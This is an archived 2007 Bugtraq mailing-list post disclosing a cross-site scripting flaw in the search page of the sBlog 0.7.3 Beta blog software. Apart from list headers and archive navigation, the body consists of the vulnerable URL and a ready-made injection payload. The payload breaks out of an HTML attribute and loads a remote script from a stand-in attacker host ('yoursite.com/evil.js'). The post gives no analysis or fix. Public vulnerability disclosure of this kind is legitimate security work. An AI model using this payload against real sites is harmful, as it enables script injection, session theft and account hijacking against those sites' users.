sBlog 0.7.3 Beta XSS Vulnerabilitie

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: sBlog 0.7.3 Beta XSS Vulnerabilitie
From: Guns@xxxxxxxxxxx
Date: 26 Jul 2007 23:45:41 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

# sBlog 0.7.3 Beta  XSS Vulnerabilitie
# Found by 0x90
# www.0x90.com.ar
# msn & mail: Guns@xxxxxxxxxxx


# in blog
http://host/blog/search.php

# use

'"/></><script src=http://yoursite.com/evil.js>

# Welcome to the jungle!

Prev by Date: rPSA-2007-0150-1 libvorbis
Next by Date: Re: Retrieving "deleted" sms/mms from Nokia phone (Symbian S60)
Previous by thread: rPSA-2007-0150-1 libvorbis
Next by thread: PHP Safe_mode bypass exploit (win32service)
Index(es):
- Date
- Thread